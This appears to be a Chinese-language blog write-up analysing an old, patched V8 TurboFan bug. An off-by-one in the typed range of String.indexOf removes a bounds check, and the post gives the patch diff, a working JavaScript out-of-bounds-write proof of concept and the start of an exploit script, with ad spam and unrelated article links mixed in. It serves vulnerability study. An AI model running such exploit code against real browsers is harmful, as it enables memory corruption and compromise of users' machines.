这是A guided tour through Chrome’s javascript compiler上的第二个漏洞,下面是对应的commit

环境搭建

用v8-action

env:PATCH_FLAG: trueCOMMIT: d2da19c78005c75e0f658be23c28b473dd76b93b  #这里DEPOT_UPLOAD: falseSRC_UPLOAD: trueBINARY_UPLOAD: false

编译

cd v8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
cd ..

漏洞分析

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index e04b1fb..251a946 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1453,7 +1453,7 @@return Type::String();case kStringIndexOf:case kStringLastIndexOf:
-          return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());
+          return Type::Range(-1.0, String::kMaxLength, t->zone());case kStringEndsWith:case kStringIncludes:return Type::Boolean();

可以看到原本的String的最大下标是Range(-1.0, kMaxLength - 1.0),因为很显然,当只有一个元素时,最大下标就是1-1->0

但是有一特殊情况:

'1234'.indexOf('', 4) == 4

不只是这样,我们可以任意长度的array,从其maxLength开始搜索空字符,返回其maxLength,而Inferred Type为range(-1,maxLength-1)这种潜在的返回值可以帮助我们数组越界,当然我们要通过indexOf源码来分析。

分享给大家技术学习资料如下内容

→点击查看【网络安全学习攻略】←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

关于indexOf

str.indexOf(searchValue [, fromIndex])

返回在当前字符串中从fromIndex开始的第一个searchValue对应的下标,但是当我们像上述说的搜索空字符且从大于等于数组长度的位置搜索时,会返回数组长度(这点在下面的源码分析中会有所体现),等下用turbolizer看下生成图。

写个poc测一下,顺便看看turbolizer

function hex(i){return i.toString(16).padStart(16, "0");
}function foo(x)
{// const maxLength = %StringMaxLength();// print(maxLength);//maxLength==2**30+25let a = 'A'.repeat(2**30-25).indexOf('',x);let b = a + 25;let c = b >> 30;let idx = 7 * c;// print(idx);let oobArray = [1.1,2.2,3.3,4.4];oobArray[idx] = -1;return oobArray;
}for(let i=0; i<10000; i++) {foo(1)
}
let oob = foo(2**30-25);
console.log("[*]oob.length: "+hex(oob.length));


我本来想像这里的一样做,然后很简单的几步做出一个可以拿来越界的下标,但是很遗憾我本地如此求出的下标,在优化后他就是0,这个操作让人比较迷惑,另外在本地测试时最好看一下%StringMaxLength()的具体数值,那个slide里是228-16我本地是230-25还是试出来的,这是非常重要的一点。

所幸在这里看到他的exp写法,他的poc跑出结果和我不同,我本地跑出来的结果太过正常,看起来似乎没漏洞,但是返回越界写入length的array的poc在我本地倒是能跑通,感谢,不然这种莫名奇妙的错误不知会卡我多久。

在这一阶段时看到还有CheckBounds防止越界,但是在Simplified lowering阶段就没了那个越界检查,说明其turbofan认为这里不会越界,所以就把CheckBound给消除了,但是实际上越界了,所以会把checkbound消除(重点,这类漏洞的重点就是把一些check给消除掉。

这一错误的判断,也即消除checkbound是因为:

注意我用的不是2**28,显然turbofan在优化时确定的范围显示其不会越界,所以就会把checkbound消去,单这么看也许会觉得莫名其妙,那么我写个自己假设的修复漏洞之后的图表:

那么这样的话显然是不会让CheckBound消失的。

源码分析

int String::IndexOf(Isolate* isolate, Handle<String> receiver,Handle<String> search, int start_index) {DCHECK(0 <= start_index);         //开始的下标大于0DCHECK(start_index <= receiver->length()); //开始的下标小于主字符串的长度uint32_t search_length = search->length();  //需要搜索字符串的长度if (search_length == 0) return start_index;  //如果是空字符串,返回搜索开始的下标uint32_t receiver_length = receiver->length();if (start_index + search_length > receiver_length) return -1;receiver = String::Flatten(receiver);search = String::Flatten(search);DisallowHeapAllocation no_gc;  // ensure vectors stay valid// Extract flattened substrings of cons strings before getting encoding.String::FlatContent receiver_content = receiver->GetFlatContent();String::FlatContent search_content = search->GetFlatContent();// dispatch on type of stringsif (search_content.IsOneByte()) {Vector<const uint8_t> pat_vector = search_content.ToOneByteVector();return SearchString<const uint8_t>(isolate, receiver_content, pat_vector,start_index);}Vector<const uc16> pat_vector = search_content.ToUC16Vector();return SearchString<const uc16>(isolate, receiver_content, pat_vector,start_index);
}

利用

我们看到通过poc,可以达到构造一个越界读的数组的结果,并且这一poc的构建看起来并不算特别难,且其原理也在前面有所讲解,我相信各位通过曾经一些v8的学习,拿到可以有oob数组的poc后可以很快的写出其exp,有越界数组之后的操作就不再多说

另外这个v8的版本挺老的v6.3的,我用wasm时候没触发应该是这个版本还不支持,最后直接拿这里所说的jit稍加修改:

function hex(i)
{return i.toString(16).padStart(16, "0");
}const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);function f2i(val)
{ f64[0] = val;let tmp = Array.from(u32);return tmp[1] * 0x100000000 + tmp[0];
}function i2f(val)
{let tmp = [];tmp[0] = parseInt(val % 0x100000000);tmp[1] = parseInt((val - tmp[0]) / 0x100000000);


我也一直在思考shellcode跑不通的原因,每次都是display的环境变量和别人不一样,如果你用我的exp跑不通,也可以去进行新的尝试。

关注私信回复“资料”获取

【网络安全】简要分析下Chrome-V8-Issue-762874相关推荐

  1. oracle查询表实际大小,简要分析估算oracle表的大小

    查询oracle表的大小有几种方法,笔者简要分析下他们的异同 环境,newsadmin.newlog,原本有244,459,078条记录,delete后,现在只有51,109,919记录. 一.seg ...

  2. oracle计算表的大小,简要分析估算oracle表的大小

    查询oracle表的大小有几种方法,笔者简要分析下他们的异同 环境,newsadmin.newlog,原本有244,459,078条记录,delete后,现在只有51,109,919记录. 一.seg ...

  3. 简要分析最近很热门的魍魉职业

    最近坛子里关于WL的方向问题MS讨论的很激烈 先是在敏 疾满天飞的时刻 服部半藏异军突起 伴随着战场套的出现全力WL好像来到了他的春天 高攻力高会心 较高的命中战场套让服部成为了一把菜刀 他成为了一个 ...

  4. 刀塔传奇火爆简要分析

    最近一直在玩刀塔传奇,玩了有接近大半年的时间,简直是爱不释手啊.深入玩这款游戏之后,渐渐思考了它流行的原因,下面从产品,运营,技术等各方面简要分析下 产品: 移动互联网的风吹起了很多的猪,有的猪摔死了 ...

  5. Windows下编译Chrome V8

    主要还是参考google的官方文档: How to Download and Build V8 Building on Windows 同时也参考了一些其它的中文博客: 脚本引擎小pk:SpiderM ...

  6. 【安全漏洞】简要分析复现了最近的ProxyShell利用链

    前言 近日,有研究员公布了自己针对微软的Exchange服务的攻击链的3种利用方式.微软官方虽然出了补丁,但是出于种种原因还是有较多用户不予理会,导致现在仍然有许多有漏洞的服务暴露在公网中,本文主要在 ...

  7. CSDN文章点赞、收藏、评论后到底发生了什么?简要分析HTTP交互机制

    作者:Eason_LYC 悲观者预言失败,十言九中. 乐观者创造奇迹,一次即可. 一个人的价值,在于他拥有的,而不是他会的.所以可以不学无数,但不能一无所有! 技术领域:WEB安全.网络攻防 关注WE ...

  8. 朋友们,一起学习下 Chrome DevTools Protocol。

    1. Debug 起源 1947 年 9 月 9 日,第一代程序媛大佬 Hopper 正领着她的小组在一间一战时建造的老建筑机房里构造一个称为"Mark II"的艾肯中继器计算机. ...

  9. WebKit渲染引擎特性,以Chrome V8为例

    引言 上一期(传送门)我们讲了浏览器架构的大致内容.本期以WebKit为列,进行简单介绍,以便让你对渲染引擎有一个更多的理解.WebKit由多个重要模块组成,通过下图我们可以对WebKit有个整体的了 ...

最新文章

  1. MySQL 学习笔记(12)— 数据类型(定长字符、变长字符、字符串大对象、数字类型、日期时间类型、二进制类型)
  2. portlet java_探秘企业门户开发:Java Portlet入门(2)
  3. 【学习笔记】〖ASP.NET〗连接字符串的函数
  4. Logistic混沌序列加密
  5. 【Flink】Flink Serving 天池快速上手 【视频笔记】
  6. jquery实现app开发闹钟功能_商城app开发价格及功能列表
  7. oracle获取表或视图的字段名、数据类型、注释
  8. Windows常用快捷键
  9. 总结 部署 Kubernetes+Heapster+InfluxDB+Grafana 详解
  10. 国产系统-Ubuntu Kylin优麒麟图文(VIP典藏2022版)
  11. APK Multi-Tool(反编译工具)教程
  12. 双系统安装 Ubuntu 18.04 以及删除双系统中的 Ubuntu 的方法
  13. UG二次开发(C#)—依据特征获取选择体对象
  14. 利用SPARQLWrapper包从dbpedia中获取实体
  15. 计算机网络技术毕业生实习报告_计算机网络技术实习报告范文
  16. Quartz执行逻辑(七)任务的暂停和恢复
  17. 域名和URL是什么?域名和IP是一一对应的吗?
  18. 2020总结 | 作为技术号主的一年!
  19. JavaScript 制作百度输入预测功能
  20. Protocol - Exploits学习笔记

热门文章

  1. BC之SC:区块链之智能合约——与传统合约的比较以及智能合约模型部署原理、运行原理相关配图
  2. DL之BigGAN:利用BigGAN算法实现超强炸天效果——画风的确skr、skr、skr,太特么的skr了
  3. CV之IG:基于CNN网络架构+ResNet网络进行DIY图像生成网络
  4. CV:基于face库利用cv2调用摄像头(或视频)根据人脸图片实现找人(先指定要识别已知人脸的文件夹转为numpy_array+输入新图片遍历已有numpy_array)
  5. 蓝桥杯_算法训练_关联矩阵
  6. concurrent (二)AQS
  7. C/C++宏定义中#与##区别 .
  8. mysql中timestamp类型数据查找中出现的问题
  9. 基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码
  10. 由浅到深了解JavaScript类